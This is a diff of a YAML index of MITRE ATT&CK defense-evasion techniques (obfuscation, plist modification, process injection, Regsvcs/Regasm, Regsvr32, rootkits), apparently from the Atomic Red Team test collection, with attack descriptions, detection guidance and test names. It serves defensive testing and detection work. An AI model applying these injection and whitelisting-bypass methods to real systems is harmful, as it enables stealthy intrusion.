+ - Process monitoring - Windows event logs - Network intrusion detection system - Email gateway @@ -6503,12 +6640,22 @@ defense-evasion: - Process whitelisting - Log analysis - Whitelisting by file name or path - x_mitre_contributors: - - Red Canary - - Christiaan Beek, @ChristiaanBeek - id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: |- + Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). + + Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) + + Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:30:32.662Z' identifier: T1027 atomic_tests: - name: Decode base64 Data into Script @@ -6528,6 +6675,8 @@ defense-evasion: /tmp/art.sh T1150: technique: + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Plist Modification description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are @@ -6539,43 +6688,26 @@ defense-evasion: (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them - as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: - File system monitoring can determine if plist files are being modified. Users - should not have permission to modify these in most cases. Some software tools - like \"Knock Knock\" can detect persistence mechanisms and point to the specific - files that are being referenced. This can be helpful to see what is actually - being executed.\n\nMonitor process execution for abnormal process execution - resulting from modified plist files. Monitor utilities used to modify plist - files or that take a plist file as an argument, which may indicate suspicious - activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, - Process command-line parameters\n\nDefense Bypassed: Application whitelisting, - Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: - User, Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1150 + - external_id: T1150 + url: https://attack.mitre.org/techniques/T1150 source_name: mitre-attack - external_id: T1150 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -6583,9 +6715,18 @@ defense-evasion: x_mitre_permissions_required: - User - Administrator - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1150 atomic_tests: - name: Plist Modification @@ -6608,155 +6749,155 @@ defense-evasion: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1055: technique: + id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Process Injection description: |- Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. - ===Windows=== - - There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017) - * '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. - * '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) - * '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. - * '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) - * '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) - - ===Mac and Linux=== - - Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) - *'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) - *'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) - *'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) - *'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) - - Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. - - Detection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017) - - Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) - - Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) - - Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + ### Windows - Platforms: Linux, macOS, Windows + There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017) - Data Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring + * **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. + * **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) + * **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended. + * **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) + * **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) - Effective Permissions: User, Administrator, SYSTEM, root + ### Mac and Linux - Defense Bypassed: Process whitelisting, Anti-virus + Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) - Permissions Required: User, Administrator, SYSTEM, root + * **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) + * **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) + * **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) + * **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1055 + - external_id: T1055 + url: https://attack.mitre.org/techniques/T1055 source_name: mitre-attack - external_id: T1055 - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - external_id: CAPEC-242 + url: https://capec.mitre.org/data/definitions/242.html + source_name: capec + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December + - url: https://www.endgame.com/blog/technical-blog/hunting-memory + description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017. source_name: Endgame HuntingNMemory June 2017 - url: https://www.endgame.com/blog/technical-blog/hunting-memory - - description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December + - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx + description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017. source_name: Microsoft APC - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx - - description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE + - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows + description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.' source_name: ENSIL AtomBombing Oct 2016 - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows - - description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. + - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx + description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. source_name: Microsoft Atom Table - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx - - description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif + - url: https://docs.microsoft.com/sysinternals/downloads/sysmon + description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved + December 13, 2017. + source_name: Microsoft Sysmon v6 May 2017 + - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html + description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017. source_name: FireEye TLS Nov 2017 - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html - - description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for + - url: https://www.datawire.io/code-injection-on-linux-and-macos/ + description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.' source_name: Datawire Code Injection - url: https://www.datawire.io/code-injection-on-linux-and-macos/ - - description: skape. (2003, January 19). Linux x86 run-time process manipulation. + - url: http://hick.org/code/skape/papers/needle.txt + description: skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. source_name: Uninformed Needle - url: http://hick.org/code/skape/papers/needle.txt - - description: halflife. (1997, September 1). Shared Library Redirection Techniques. + - url: http://phrack.org/issues/51/8.html + description: halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. source_name: Phrack halfdead 1997 - url: http://phrack.org/issues/51/8.html - - description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via + - url: http://vxer.org/lib/vrn00.html + description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017. source_name: VDSO hijack 2009 - url: http://vxer.org/lib/vrn00.html - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.' source_name: ArtOfMemoryForensics - - description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved + - url: https://www.gnu.org/software/acct/ + description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017. source_name: GNU Acct - url: https://www.gnu.org/software/acct/ - - description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - + - url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing + description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017. source_name: RHEL auditd - url: https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing - - description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. + - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html + description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017. source_name: Chokepoint preload rootkits - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - - description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved - December 13, 2017. - source_name: Microsoft Sysmon v6 May 2017 - url: https://docs.microsoft.com/sysinternals/downloads/sysmon + - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ + description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ + Code Injection Technique Discovered. Retrieved May 24, 2018. + source_name: CyberBit Early Bird Apr 2018 + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:47.843Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Anastasios Pingios + - Christiaan Beek, @ChristiaanBeek + - Ryan Becwar x_mitre_data_sources: - API monitoring - Windows Registry - File monitoring - DLL monitoring + - Process monitoring - Named Pipes - - Process Monitoring + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus + x_mitre_detection: |- + Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) + + Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + + Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) + + Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_effective_permissions: - User - Administrator - SYSTEM - root - x_mitre_defense_bypassed: - - Process whitelisting - - Anti-virus x_mitre_permissions_required: - User - Administrator - SYSTEM - root - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:30:47.843Z' identifier: T1055 atomic_tests: - name: Process Injection via mavinject.exe @@ -6801,66 +6942,59 @@ defense-evasion: ' T1121: technique: + id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Regsvcs/Regasm description: |- Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - - Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting - - Permissions Required: User, Administrator - - Remote Support: No - - Contributors: Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1121 + - external_id: T1121 + url: https://attack.mitre.org/techniques/T1121 source_name: mitre-attack - external_id: T1121 - - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). + - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx + description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016. source_name: MSDN Regsvcs - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx - - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved + - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx + description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016. source_name: MSDN Regasm - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:33.499Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Casey Smith x_mitre_defense_bypassed: - Process whitelisting x_mitre_permissions_required: - User - Administrator + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and + Regasm.exe with prior history of known good arguments and executed binaries + to determine anomalous and potentially adversarial activity. Command arguments + used before and after Regsvcs.exe or Regasm.exe invocation may also be useful + in determining the origin and purpose of the binary being executed. x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:33.499Z' identifier: T1121 atomic_tests: - name: Regasm Uninstall Method Call Test @@ -6912,6 +7046,8 @@ defense-evasion: del key.snk T1117: technique: + id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Regsvr32 description: |- Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) @@ -6920,71 +7056,62 @@ defense-evasion: Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) - Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016) - - Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016) - - Platforms: Windows - - Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry - - Defense Bypassed: Process whitelisting, Anti-virus - - Permissions Required: User, Administrator - - Remote Support: No - - Contributors: Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1117 + - external_id: T1117 + url: https://attack.mitre.org/techniques/T1117 source_name: mitre-attack - external_id: T1117 - - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and + - url: https://support.microsoft.com/en-us/kb/249873 + description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. source_name: Microsoft Regsvr32 - url: https://support.microsoft.com/en-us/kb/249873 - description: "[ Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017." source_name: SubTee Regsvr32 Whitelisting Bypass - - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing + - url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html + description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017. source_name: FireEye Regsvr32 Targeting Mongolian Gov - url: https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html - - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” + - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ + description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.' source_name: Carbon Black Squiblydoo Apr 2016 - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:26.966Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith x_mitre_data_sources: - Loaded DLLs - Process monitoring - - Process command-line parameters - Windows Registry + - Process command-line parameters x_mitre_defense_bypassed: - Process whitelisting - Anti-virus x_mitre_permissions_required: - User - Administrator + x_mitre_detection: 'Use process monitoring to monitor the execution and arguments + of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history + of known good arguments and loaded files to determine anomalous and potentially + adversarial activity. Command arguments used before and after the regsvr32.exe + invocation may also be useful in determining the origin and purpose of the + script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:26.966Z' identifier: T1117 atomic_tests: - name: Regsvr32 local COM scriptlet execution @@ -7041,70 +7168,66 @@ defense-evasion: ' T1014: technique: + id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Rootkit description: |- - Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit) + Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit) Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) - - Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit) - - Platforms: Linux, macOS, Windows - - Data Sources: BIOS, MBR, System calls - - Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path - - Permissions Required: Administrator, SYSTEM, root - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion external_references: - - 